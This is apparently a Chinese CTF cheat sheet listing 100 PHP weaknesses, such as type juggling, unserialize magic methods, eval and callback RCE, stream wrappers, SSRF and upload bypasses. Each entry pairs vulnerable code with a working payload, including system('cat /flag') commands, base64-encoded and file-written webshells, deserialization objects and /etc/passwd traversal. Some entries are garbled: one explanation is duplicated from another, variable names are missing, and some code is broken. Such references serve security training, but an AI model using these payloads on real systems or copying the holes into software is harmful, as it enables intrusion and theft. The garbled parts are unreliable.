CTF PHP 漏洞与实战案例
1. intval() 传数组返回 1
原理与分析:intval() 对非空数组返回 1,因此即使输入不是数字,只要传入数组就能让 intval 返回非零值,从而绕过基于数值判断的条件
if (isset($_GET['num'])) {
if (intval($_GET['num'])) {
echo $flag;
}
}
?num[]=1
2. preg_match() 传数组返回 false
原理与分析:preg_match() 要求第一个参数是字符串,若传入数组会返回 false;在黑名单过滤逻辑中,这可使条件判断失效,从而绕过限制
if (preg_match('/flag/', $_GET['input'])) {
die("no");
}
echo $flag;
?input[]=anything
3. intval($str, 0) 自动识别进制
原理与分析:当 intval() 的第二个参数为 0 时,会自动根据前缀识别进制,如 "0x4d2" 被解析为十六进制 1234;由于它是字符串,可绕过 !== "1234" 的严格比较
if ($_GET['num'] !== "1234") {
if (intval($_GET['num'], 0) === 1234) {
echo $flag;
}
}
?num=0x4d2
4. md5() 弱比较:0e 开头视为 0
原理与分析:当 intval() 的第二个参数为 0 时,会自动根据前缀识别进制,如 "0x4d2" 被解析为十六进制 1234;由于它是字符串,可绕过 !== "1234" 的严格比较
if (md5($_GET['a']) == md5($_GET['b'])) {
echo $flag;
}
?a=s878926199a&b=s1091221200a
5. md5() 传数组返回 NULL,强比较成立
原理与分析:md5() 无法处理数组,传入数组时返回 NULL;两个 NULL 在强比较(===)下相等,因此可绕过要求哈希值完全相同的验证
if (md5($_GET['a']) === md5($_GET['b'])) {
echo $flag;
}
?a[]=1&b[]=2
6. strcmp() 遇数组返回 NULL,松散比较为 0
原理与分析:strcmp() 只能比较字符串,传入数组会返回 NULL;而 NULL 在松散比较中等于 0,因此可绕过密码验证等逻辑
if (strcmp($_GET['password'], "admin") == 0) {
echo $flag;
}
?password[]=1
7. strpos() 被 %00 或换行绕过(过滤与执行不一致)
原理与分析:strpos() 用于检测敏感词,但如果后端用它做黑名单而实际包含函数(如 include)能处理完整路径,则可通过 php://filter 等协议绕过字面匹配,读取源码
if (strpos($_GET['file'], 'flag') === false) {
include($_GET['file']);
}
?file=php://filter/read=convert.base64-encode/resource=flag.php
8. file_get_contents() + php://filter 读源码
原理与分析:php://filter 是只读流包装器,可对文件内容进行 Base64 编码输出而不执行 PHP 代码,适用于在 file_get_contents 等函数中读取源码而非执行
echo file_get_contents($_GET['page']);
?page=php://filter/read=convert.base64-encode/resource=flag.php
9. unserialize() 触发 __destruct()
原理与分析:反序列化对象时,PHP 会自动调用其魔术方法,如 __destruct() 在脚本结束时执行;若该方法中包含文件读取或命令执行,即可被利用获取 flag
class Flag {
public $file = 'index.php';
public function __destruct() {
echo file_get_contents($this->file);
}
}
unserialize($_GET['data']);
?data=O:4:"Flag":1:{s:4:"file";s:5:"/flag";}
10. eval() 直接代码执行
原理与分析:eval() 会将传入的字符串作为 PHP 代码直接执行,属于高危函数;攻击者可借此执行任意系统命令或读取文件
eval($_GET['cmd']);
?cmd=system('cat /flag');
11. call_user_func() 动态调用函数导致 RCE
原理与分析:call_user_func() 第一个参数为函数名,第二个为参数,若两者均可控,攻击者可指定 func 为 system、exec 等危险函数,实现任意命令执行
call_user_func($_GET['func'], $_GET['arg']);
?func=system&arg=cat+/flag
12. preg_replace() 使用 /e 修饰符(PHP < 5.5.0)
原理与分析:在 PHP 5.5.0 之前,preg_replace() 的 /e 修饰符会将替换字符串当作 PHP 代码执行;攻击者可传入恶意代码直接触发 RCE。
echo preg_replace('/(.*)/e', $_GET['cmd'], 'test');
?cmd=system('cat /flag')
13. parse_str() 导致变量覆盖
原理与分析:parse_str() 会将查询字符串解析为变量并注册到当前作用域,若未指定目标数组,可能覆盖已有变量(如 $auth),从而提升权限
$auth = 0;
parse_str($_GET['data']);
if ($auth == 1) {
echo $flag;
}
?data=auth=1
14. str_replace() 双写绕过过滤
原理与分析:str_replace() 默认只替换一次,攻击者可通过双写敏感词(如 flflagag),使替换后仍保留有效 payload(删除中间 flag 后剩下 fl+ag=flag)
$input = str_replace('flag', '', $_GET['str']);
if ($input === 'flag') {
echo $flag;
}
?str=flflagag
15. in_array() 松散比较导致 0 匹配任意字符串
原理与分析:in_array() 默认使用松散比较(==),当传入数字 0 时,PHP 会将数组中的字符串(如 'admin')转换为数字 0 进行比较,结果为 true,从而绕过角色验证
题目代码
if (in_array($_GET['role'], ['admin', 'user'])) {
echo $flag;
}
?role=0
16. is_numerics()接受科学计数法和十六进制
原理与分析:is_numeric() 不仅接受普通数字,还接受科学计数法(如 1e6)和十六进制(如 0x10)等格式;因此可传入 1e6(等于 1000000)绕过数值大小判断,同时满足 is_numeric 条件
if (is_numeric($_GET['id']) && $_GET['id'] > 999999) {
echo $flag;
}
?id=1e6
17. array_search() 松散比较导致 0 匹配字符串
原理与分析:array_search() 默认使用松散比较(==),当传入 name=0 时,数组中的字符串(如 'alice')会被转换为 0 进行比较,结果为 true,从而返回有效索引,绕过验证
if (array_search($_GET['name'], ['alice', 'bob']) !== false) {
echo $flag;
}
?name=0
18. extract() 导入变量覆盖本地变量
原理与分析:extract() 会将数组的键作为变量名导入当前作用域,若直接从
G
ET调用,攻击者可通过参数名覆盖已有关键变量(如admin),从而提升权限
$admin = false;
extract($_GET);
if ($admin) {
echo $flag;
}
?admin=1
19. parse_url() 对 127.1 解析为 localhost
原理与分析:IP 地址 127.1 是合法简写形式,等价于 127.0.0.1;在 SSRF 场景中,若后端仅检查 host 是否为 'localhost',可用 127.1 绕过部分校验并访问本地服务
$url = parse_url($_GET['url']);
if ($url['host'] === 'localhost') {
echo file_get_contents($_GET['url']);
}
?url=http://127.1/flag.php
20. json_decode() + unserialize() 二次反序列化
原理与分析:程序先用 json_decode 解析用户输入,再对其中某个字段进行 unserialize;攻击者可在 JSON 中嵌入序列化对象,触发反序列化漏洞
$data = json_decode($_GET['data'], true);
unserialize($data['payload']);
?data={"payload":"O:4:\"Flag\":1:{s:4:\"file\";s:5:\"\/flag\";}"}
21. assert() 执行字符串代码(PHP < 7.2)
原理与分析:在 PHP 7.2 之前,assert() 支持将字符串当作 PHP 代码执行;若传入可控参数,可直接执行 system 等函数,造成远程代码执行
assert($_GET['code']);
?code=system('cat /flag');
22. create_function() 代码注入(PHP < 7.2)
原理与分析:create_function() 内部使用 eval 拼接代码,格式为 eval("function() {{$code}}");攻击者可通过闭合大括号并注入代码(如 };system(...);/*)实现 RCE
$func = create_function('', $_GET['code']);
$func();
?code=};system('cat+/flag');/*
23. hex2bin() + eval() 执行十六进制编码代码
原理与分析:hex2bin() 将十六进制字符串还原为原始 PHP 代码,配合 eval 可隐藏恶意 payload;适用于绕过关键字检测
eval(hex2bin($_GET['cmd']));
?cmd=73797374656d2827636174202f666c616727293b
24. scandir() 列出目录文件
原理与分析:scandir('.') 返回当前目录下所有文件和文件夹名称,常用于发现隐藏的 flag 文件(如 flag.php、.flag 等),是信息泄露类题目的典型利用方式
print_r(scandir('.'));
(无参数,直接访问)
25. get_headers() 引发 SSRF
原理与分析:get_headers() 会向指定 URL 发起 HTTP 请求,虽不返回响应体,但可用于探测内网端口或触发内部服务(如 Redis、管理后台),属于 SSRF 漏洞的一种利用方式
get_headers($_GET['url']);
echo "Request sent.";
?url=http://127.0.0.1:8080/admin
26. session.upload_progress 写入临时 session 文件
原理与分析:PHP 在上传过程中会将进度信息写入 session 文件(路径通常为 /tmp/sess_xxx),若 session 名可控且存在文件包含点,可将 Webshell 写入 session 并包含执行
// 无显式代码,依赖配置和包含点
```
POST /?PHPSESSID=exploit HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
------WebKitFormBoundary-- ```
27. glob:// 协议列目录(PHP >= 5.3)
原理与分析:glob:// 流包装器支持通配符匹配文件路径,在 file_get_contents、include 等函数中可用于列出目录内容,辅助发现 flag 文件
foreach (glob($_GET['pattern']) as $file) {
echo "$file\n";
}
?pattern=/var/www/html/*.php
28. zip:// 协议包含压缩包内文件
原理与分析:zip:// 可读取 ZIP 压缩包内的特定文件,若网站允许上传 ZIP 且存在文件包含漏洞,可将 PHP Webshell 打包后通过 zip:// 触发执行
include($_GET['file']);
?file=zip://shell.zip%23x.php
29. data:// 协议执行 Base64 编码代码
原理与分析:data:// 协议允许以内联方式提供数据,结合 text/plain 和 base64 编码,可在 include 或 file_get_contents 中执行任意 PHP 代码
include($_GET['file']);
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
30. __toString() 在对象转字符串时触发
原理与分析:当一个对象被当作字符串使用(如拼接、echo)时,PHP 会自动调用其 __toString() 方法;在反序列化或字符串操作场景中,可利用该方法触发文件读取或命令执行
class Trigger {
public $data = "/flag";
public function __toString() {
return file_get_contents($this->data);
}
}
echo $_GET['input'] . new Trigger();
?input=anything
31. array_diff() 松散比较导致类型混淆
原理与分析:array_diff() 使用松散比较(==)判断元素是否相等,当数组中包含数字 0 和字符串(如 "admin")时,0 == "admin" 为 true,可能导致意外的差集结果,绕过逻辑判断
if (empty(array_diff(['admin'], [$_GET['role']]))) {
echo $flag;
}
?role=0
32. switch 无 break 导致逻辑穿透
原理与分析:PHP 的 switch 语句若某个 case 缺少 break,会继续执行后续 case;攻击者可利用此特性,通过传入低权限选项触发高权限逻辑
switch ($_GET['action']) {
case 'guest':
echo "Guest";
case 'admin':
echo $flag;
}
?action=guest
33. trim() 移除首尾空白及 0x00-0x1F 字符
原理与分析:trim() 默认不仅移除空格,还会移除 ASCII 0x00 到 0x1F 的控制字符(包括制表符、换行等),若用于过滤后再进行严格比较,可能因前后不一致导致绕过
if (trim($_GET['token']) === "secret") {
echo $flag;
}
?token=%09secret
34. array_keys() + in_array() 绕过键名校验
原理与分析:若程序只检查值是否在白名单,但实际使用的是数组键,攻击者可构造键为恶意值、值为白名单项的数组,绕过 in_array 检查
$input = $_GET['data'];
if (in_array($input, ['safe'])) {
echo $$input;
}
?data[safe]=anything
35. $$ 变量变量导致变量覆盖
原理与分析:会将变量的值作为另一个变量名,若用户可控输入用于,可间接读取或覆盖任意变量(如 $flag)
$name = $_GET['name'];
echo $$name;
?name=flag
36. header() SSRF + 302 跳转绕过
原理与分析:若程序用 header() 跳转到用户提供的 URL,且后端有 SSRF 检测但未处理跳转,攻击者可设置一个外网跳板页 302 到内网地址,绕过 host 校验
header("Location: " . $_GET['url']);
?url=http://attacker.com/redirect_to_localhost
37. error_log() 记录敏感信息(信息泄露)
原理与分析:error_log() 会将内容写入日志文件,若日志路径可读且记录了 flag 或用户输入,可能造成信息泄露
error_log("User input: " . $_GET['input']);
?input=<?php system($_GET['cmd']); ?>
38. highlight_file() 直接读取并高亮源码
原理与分析:highlight_file() 会读取并以语法高亮形式输出 PHP 源码,常用于调试,但若暴露给用户可直接获取 flag 所在文件内容
highlight_file($_GET['file']);
?file=flag.php
39. show_source() 同 highlight_file()
原理与分析:show_source() 是 highlight_file() 的别名,功能完全相同,可直接读取并显示 PHP 源码
show_source($_GET['page']);
?page=index.php
40. filter_var() FILTER_VALIDATE_IP 绕过
原理与分析:filter_var($ip, FILTER_VALIDATE_IP) 在某些版本中会接受 0x7F000001(十六进制 IP)或 127.1 等格式,可用于绕过 IP 白名单校验
if (filter_var($_GET['ip'], FILTER_VALIDATE_IP) && $_GET['ip'] !== '127.0.0.1') {
echo file_get_contents("http://".$_GET['ip']);
}
?ip=0x7F000001
41. ctype_digit() 只接受纯数字字符串
原理与分析:ctype_digit() 对负数、小数、科学计数法均返回 false,但对 "0"、"123" 返回 true;若用于 ID 校验,可能被误认为安全,但结合其他漏洞(如 SQL 注入)仍可利用
if (ctype_digit($_GET['id'])) {
$sql = "SELECT * FROM users WHERE id = ".$_GET['id'];
}
?id=1 and 1=1
42. array_merge() 覆盖数字索引
原理与分析:array_merge() 在合并数组时,数字索引会被重新排序,而字符串键会保留;若程序依赖特定索引顺序,可能被意外覆盖或打乱逻辑
$defaults = ['role' => 'user', 'active' => false];
$user = array_merge($defaults, $_GET['config']);
if ($user['role'] === 'admin') echo $flag;
?config[role]=admin
43. ReflectionClass 读取私有属性
class Secret {
private $flag = "CTF{...}";
}
$ref = new ReflectionClass('Secret');
$obj = $ref->newInstance();
echo $ref->getProperty('flag')->setAccessible(true)->getValue($obj);
(无需参数,代码本身即漏洞)
44. ob_start() + callback RCE
原理与分析:ob_start() 可接受回调函数,输出缓冲结束时会调用该函数处理内容;若回调函数名可控,可指定为 system 等危险函数
ob_start($_GET['func']);
echo "id";
ob_end_flush();
?func=system
45. register_shutdown_function() 执行延迟函数
原理与分析:register_shutdown_function() 在脚本终止时执行指定函数,若函数名和参数可控,可实现延迟命令执行
register_shutdown_function($_GET['func'], $_GET['arg']);
?func=system&arg=cat+/flag
46. array_map() 执行回调函数
原理与分析:array_map() 将回调函数应用到数组每个元素,若回调函数名来自用户输入,可调用危险函数
array_map($_GET['func'], [$_GET['arg']]);
?func=system&arg=cat+/flag
47. extract() + $$ 组合变量覆盖
原理与分析:extract() 导入变量后,若再使用 $$ 动态变量,攻击者可通过一次传参覆盖多个变量或间接读取敏感变量
extract($_GET);
echo $$var;
?var=flag
48. parse_ini_string() 解析用户输入配置
原理与分析:parse_ini_string() 将字符串解析为配置数组,若输入可控且结果用于敏感操作(如数据库连接),可能被注入恶意配置
$config = parse_ini_string($_GET['ini']);
if ($config['debug'] == 'on') echo $flag;
?ini=debug=on
49. tempnam() + file_put_contents() 写临时文件
原理与分析:若程序将用户输入写入 tempnam() 创建的临时文件,且该文件路径可预测或被包含,可实现 Webshell 写入
$tmp = tempnam('/tmp', 'upload');
file_put_contents($tmp, $_GET['content']);
?content=<?php system($_GET['cmd']); ?>
50. __wakeup() 反序列化时自动触发
原理与分析:当对象被反序列化时,PHP 会自动调用 __wakeup() 方法;若该方法中包含危险操作(如文件读取、命令执行),可被利用获取 flag
class Exploit {
public $cmd = "cat /flag";
public function __wakeup() {
system($this->cmd);
}
}
unserialize($_GET['data']);
?data=O:7:"Exploit":1:{s:3:"cmd";s:8:"cat /flag";}
51. array_filter() 回调可控导致 RCE
原理与分析:array_filter() 第二个参数为回调函数名,若该参数来自用户输入,可指定为 system、exec 等危险函数,触发任意命令执行
array_filter([$_GET['arg']], $_GET['func']);
?func=system&arg=cat+/flag
52. usort() 自定义排序函数 RCE
原理与分析:usort() 的比较函数参数若可控,可传入危险函数名(如 assert、create_function),在排序过程中被调用执行
usort($_GET['arr'], $_GET['cmp']);
?arr[]=1&cmp=assert
53. mb_ereg_replace() /e 修饰符执行代码(旧版)
原理与分析:在 PHP < 7.3 中,mb_ereg_replace() 支持 /e 修饰符,会将替换内容作为 PHP 代码执行,类似 preg_replace 的 /e
echo mb_ereg_replace('.*', $_GET['code'], 'test', 'e');
?code=system('cat /flag')
54. file_put_contents() 写入 Webshell
原理与分析:若用户可控内容被写入文件,且路径可访问,可直接写入 PHP Webshell 实现命令执行
file_put_contents($_GET['file'], $_GET['data']);
?file=shell.php&data=<?php system($_GET['cmd']); ?>
55. move_uploaded_file() 上传绕过
原理与分析:若仅检查文件扩展名而未重命名或校验内容,攻击者可上传 .php 文件并访问执行
move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']);
上传文件名为 shell.php,内容为 <?php system($_GET['cmd']); ?>
56. get_defined_vars() 泄露所有变量
原理与分析:get_defined_vars() 返回当前作用域所有变量的关联数组,若输出该结果,可能泄露 $flag、数据库密码等敏感信息
print_r(get_defined_vars());
(无参数,直接访问)
57. debug_backtrace() 泄露路径与代码逻辑
原理与分析:debug_backtrace() 返回调用栈信息,包含文件路径、函数名、参数等,在错误页面暴露时可辅助路径探测或逻辑分析
print_r(debug_backtrace());
(无参数,直接访问)
58. basename() 绕过目录遍历过滤
原理与分析:basename() 仅返回路径最后一部分,若程序用它“净化”文件名但实际使用原始路径,仍可实现目录遍历
$clean = basename($_GET['file']);
include($_GET['file']); // 错误:未使用 $clean
?file=../../../etc/passwd
59. parse_str() 第二参数未指定导致变量污染
原理与分析:parse_str() 若未提供第二个参数(目标数组),会将解析出的变量直接注册到当前作用域,覆盖已有变量
parse_str($_SERVER['QUERY_STRING']);
if ($auth) echo $flag;
?auth=1
60. unserialize_callback_func 配置 RCE
原理与分析:PHP 配置项 unserialize_callback_func 可指定反序列化时未定义类的回调函数,若该函数为危险函数(如 assert),可触发 RCE(需配置配合,较少见但存在)
// php.ini: unserialize_callback_func = "assert"
unserialize('O:10:"NonExistent":0:{}');
?data=O:10:"NonExistent":0:{}
61. SoapClient 触发 SSRF + CRLF
原理与分析:SoapClient 在反序列化时会发起 HTTP 请求,结合 __call 方法和 CRLF 注入,可构造任意 HTTP 请求头,用于 SSRF 攻击内网服务(如 FastCGI
unserialize($_GET['data']);
?data=O:10:"SoapClient":2:{s:3:"uri";s:1:"a";s:8:"location";s:25:"http://127.0.0.1:9000/";}
62. Phar 反序列化触发
原理与分析:当使用 file_exists、is_file 等函数操作 phar:// 协议时,会自动反序列化其元数据,若存在危险类的魔术方法,可触发反序列化漏洞
file_exists($_GET['file']);
?file=phar://exploit.phar/test.txt
63. session_start() + session.upload_progress 写入 Phar
原理与分析:结合上传进度功能,可将 Phar 元数据写入 session 文件,再通过文件操作函数触发反序列化,实现 RCE
上传时设置 PHP_SESSION_UPLOAD_PROGRESS 包含 Phar 元数据
上传时设置 PHP_SESSION_UPLOAD_PROGRESS 包含 Phar 元数据
64. escapeshellcmd() 无法阻止参数注入
原理与分析:escapeshellcmd() 仅转义命令中的特殊字符,但无法阻止在参数中注入额外选项;例如在 ping -c 4 [ip] 中传入 ip 为 "127.0.0.1 -i 10" 可延长执行时间
system("ping -c 4 " . escapeshellcmd($_GET['ip']));
?ip=127.0.0.1 -i 10
65. escapeshellarg() 与单引号冲突
原理与分析:escapeshellarg() 用单引号包裹参数,若原始命令已使用单引号,嵌套时可能破坏结构;但在多数情况下较安全,此处强调其局限性
system('echo ' . escapeshellarg($_GET['msg']));
?msg=';cat /flag;'
66. stream_context_create() + file_get_contents SSRF
原理与分析:file_get_contents 支持通过 stream_context_create 设置 HTTP 头,若 URL 和上下文均可控,可用于高级 SSRF(如伪造 Host、Cookie) ```$ctx = stream_context_create(['http' => ['header' => $_GET['hdr']]]); file_get_contents($_GET['url'], false, $ctx);
?url=http://127.0.0.1/admin&hdr=Host: admin.local
```
67. pack() + unpack() 绕过字符串检测
原理与分析:pack() 可将数据编码为二进制格式,绕过基于字符串的 WAF 或过滤器,再通过 unpack() 或直接执行还原
eval(pack('H*', '73797374656d2827636174202f666c616727293b'));
(无需参数,代码本身即绕过)
68. assert_options() 设置回调函数
原理与分析:assert_options(ASSERT_CALLBACK, $_GET['func']) 可设置断言失败时的回调函数,若后续 assert 条件为假,将调用该函数执行任意代码
assert_options(ASSERT_CALLBACK, $_GET['func']);
assert($_GET['cond']);
?func=system&cond=0
69. dl() 动态加载扩展(PHP < 7.4 CLI)
原理与分析:dl() 可在运行时加载 PHP 扩展(.so 或 .dll),若攻击者能上传恶意扩展,可实现任意代码执行(通常限 CLI 模式)
dl($_GET['ext']);
?ext=malicious.so
70. get_cfg_var() 读取 php.ini 配置
原理与分析:get_cfg_var() 可读取 php.ini 中的配置项,若暴露给用户,可能泄露敏感路径(如 session.save_path)、安全设置等信息
echo get_cfg_var('session.save_path');
(无参数,直接访问)
71. proc_open() 执行系统命令
原理与分析:proc_open() 可启动一个进程并控制其输入输出,若命令或参数来自用户输入,可执行任意系统命令,常用于绕过 disable_functions 中未禁用的函数
$proc = proc_open($_GET['cmd'], [['pipe','r'],['pipe','w'],['pipe','w']], $pipes);
echo stream_get_contents($pipes[1]);
?cmd=cat /flag
72. popen() 执行命令并读取输出
原理与分析:popen() 打开一个进程管道,可执行系统命令并读取其输出;若命令可控,可直接用于 RCE
$handle = popen($_GET['cmd'], 'r');
echo fread($handle, 1024);
?cmd=cat /flag
73. pcntl_exec() 替换当前进程(CLI 模式)
原理与分析:pcntl_exec() 会用新程序替换当前进程,在 CLI 环境下可用于执行系统命令,若参数可控可实现 RCE(Web 环境通常不可用)
pcntl_exec('/bin/cat', ['/flag']);
(需结合参数注入)
74. get_class() + get_class_vars() 泄露类信息
原理与分析:get_class_vars() 返回类的静态属性,默认值可能包含敏感信息(如默认密码、密钥),结合 get_class 可动态探测任意类
print_r(get_class_vars($_GET['class']));
?class=Config
75. class_exists() 触发 autoload RCE
原理与分析:class_exists() 在类未定义时会触发 __autoload 或 spl_autoload_register 注册的加载函数,若加载逻辑包含用户输入,可能被利用执行任意代码
class_exists($_GET['class']);
?class=../../../etc/passwd
76. method_exists() 触发 __call
原理与分析:method_exists() 检查方法是否存在,若对象定义了 __call 魔术方法,即使方法不存在也会被调用,可能触发危险操作
class Trigger {
public function __call($name, $args) {
system('cat /flag');
}
}
$obj = new Trigger();
method_exists($obj, $_GET['method']);
?method=anything
77. property_exists() 触发 __get
原理与分析:property_exists() 检查属性是否存在,若属性未定义但类中定义了 __get,不会触发;但若配合动态属性访问,可能间接导致魔术方法调用(需特定上下文)
class Leak {
public function __get($name) {
echo $this->flag;
}
private $flag = "CTF{...}";
}
$obj = new Leak();
if (!property_exists($obj, $_GET['prop'])) {
$tmp = $obj->{$_GET['prop']};
}
?prop=nonexist
78. is_file() 触发 Phar 反序列化
原理与分析:is_file()、file_exists() 等函数在处理 phar:// 协议时会解析 Phar 文件的元数据,自动触发反序列化,若存在危险类可 RCE
is_file($_GET['file']);
?file=phar://shell.phar/exploit
79. finfo_file() 识别文件类型绕过上传
原理与分析:finfo_file() 通过文件内容判断 MIME 类型,若仅依赖它做上传校验,攻击者可在 PHP 文件开头添加 GIF89a 等伪造合法类型
$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES['f']['tmp_name']) === 'image/gif') {
move_uploaded_file(...);
}
上传内容:GIF89a<?php system($_GET['cmd']); ?>
80. getimagesize() 绕过图片检测
原理与分析:getimagesize() 检测图片尺寸和类型,若仅检查是否为有效图片,可在图片注释或末尾追加 PHP 代码实现 Webshell 上传
if (@getimagesize($_FILES['f']['tmp_name'])) {
move_uploaded_file(...);
}
上传合法图片并在末尾添加 <?php system($_GET['cmd']); ?>
81. extract() 覆盖超全局变量(PHP < 5.4)
原理与分析:在 PHP 5.4 之前,extract() 可覆盖 GLOBALS、_GET 等超全局变量,导致严重变量污染(现代 PHP 已禁止)
extract($_GET);
echo $flag;
?_GET[flag]=hacked
82. $$ 导致变量覆盖(动态变量)
原理与分析:将变量值作为新变量名,若用户控制输入用于,可读取或覆盖任意变量,包括 $flag
$input = $_GET['var'];
echo $$input;
?var=flag
83. include_once() 多次包含无效
原理与分析:include_once() 保证文件只被包含一次,若程序依赖此特性做权限校验,攻击者可通过先包含恶意文件再触发逻辑绕过
// 第一次包含 safe.php 设置权限
// 后续无法再次包含,但若 safe.php 被污染则永久提权
?file=malicious.php (在 safe.php 之前触发)
84. require() 路径截断(PHP < 5.3.4)
原理与分析:在 PHP 5.3.4 之前,文件包含函数受空字节 %00 影响,可截断路径后缀,实现任意文件包含
require($_GET['page'] . '.php');
?page=/etc/passwd%00
85. parse_url() 对 //host 解析异常
原理与分析:parse_url('http://example.com') 正常,但 parse_url('//127.0.0.1/flag') 在某些版本中 host 为 '127.0.0.1',可用于 SSRF 绕过
$url = parse_url($_GET['url']);
if ($url['host'] !== 'localhost') {
readfile($_GET['url']);
}
?url=//127.0.0.1/flag.php
86. set_error_handler() 自定义错误处理 RCE
原理与分析:set_error_handler() 设置错误回调函数,若函数名可控且触发错误(如除零),可执行任意函数
set_error_handler($_GET['handler']);
trigger_error("test");
?handler=system
87. register_tick_function() 注册周期函数
原理与分析:register_tick_function() 在每个 tick(如每条语句)执行指定函数,若函数名可控,可实现延迟 RCE
declare(ticks=1);
register_tick_function($_GET['func'], $_GET['arg']);
?func=system&arg=cat+/flag
88. ob_get_contents() + eval() 二次执行
原理与分析:若程序将输出缓冲内容作为代码执行,攻击者可通过 echo 注入 PHP 代码,再被 eval 执行
ob_start();
echo $_GET['code'];
eval(ob_get_contents());
?code=system('cat /flag');
89. assert() + assert_options() 组合 RCE
原理与分析:assert() 在旧版中执行字符串,结合 assert_options 设置回调,即使 assert 条件为真也可触发额外逻辑
assert_options(ASSERT_ACTIVE, 1);
assert($_GET['code']);
?code=system('cat /flag')
90. session_decode() 反序列化 session 数据
原理与分析:session_decode() 将字符串解析为 session 变量,若输入可控且后续使用 $$ 或 extract,可能触发变量覆盖或反序列化
session_decode($_GET['data']);
echo $_SESSION['role'];
?data=role=admin
91. get_object_vars() 泄露私有属性(需配合反射或序列化)
原理与分析:get_object_vars() 返回对象的可访问属性,若对象在当前作用域内且无访问控制限制,可直接读取属性值;结合反序列化或动态创建对象,可能泄露敏感数据
class Secret { private $flag = "CTF{...}"; }
$obj = unserialize($_GET['data']);
print_r(get_object_vars($obj));
?data=O:6:"Secret":0:{}
92. str_repeat() + 内存溢出 DoS(逻辑题变种)
原理与分析:str_repeat() 在生成超长字符串时可能耗尽内存,若长度参数来自用户输入且无限制,可造成服务拒绝;在 CTF 中常用于触发异常或暴露错误信息
echo str_repeat("A", $_GET['len']);
?len=999999999
93. count() 对非数组返回 1
原理与分析:count() 在输入非数组且非 Countable 对象时返回 1,若用于判断数组是否为空,可能误判导致逻辑绕过
if (count($_GET['arr']) > 0) {
echo $flag;
}
?arr=anything
94. current() + next() 遍历绕过检测
原理与分析:若程序用 current() 获取数组当前元素但未校验键名,攻击者可通过构造特定键值对绕过白名单检查
$data = $_GET['input'];
if (current($data) === 'safe') {
echo ${key($data)};
}
?input[flag]=safe
95. define() 动态定义常量覆盖逻辑
原理与分析:define() 可在运行时定义常量,若常量名或值来自用户输入,可能覆盖原有安全配置(如 DEBUG、AUTH)
define($_GET['name'], $_GET['value']);
if (DEBUG) echo $flag;
?name=DEBUG&value=1
96. get_extension_funcs() 列出扩展函数
原理与分析:get_extension_funcs() 返回指定扩展的所有函数名,可用于探测危险函数是否可用(如 pcntl、ffi),辅助 RCE 判断
print_r(get_extension_funcs('standard'));
(无参数,直接访问)
97. FFI::cdef() 执行任意机器码(PHP >= 7.4)
原理与分析:FFI(Foreign Function Interface)允许调用 C 函数,若 cdef 或 load 参数可控,可执行系统命令或 shellcode,实现高权限 RCE
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("cat /flag");
(代码本身即利用,无需参数)
98. parse_ini_file() 读取任意文件(PHP < 5.3.4)
原理与分析:在旧版 PHP 中,parse_ini_file() 可读取非 INI 文件,若路径可控,可泄露源码或敏感文件(如 /etc/passwd)
parse_ini_file($_GET['file']);
?file=/etc/passwd
99. stream_socket_client() SSRF
原理与分析:stream_socket_client() 可建立 TCP/UDP 连接,若目标地址来自用户输入,可用于探测内网端口或与 Redis、Memcached 等服务交互
$sock = stream_socket_client($_GET['addr']);
fwrite($sock, "PING\r\n");
echo fread($sock, 1024);
?addr=tcp://127.0.0.1:6379
100. __halt_compiler() 绕过尾部代码执行
原理与分析:__halt_compiler() 会停止 PHP 编译器后续代码的解析,若用于 Webshell 或混淆 payload,可隐藏恶意代码不被静态分析发现 ```
?cmd=cat /flag
```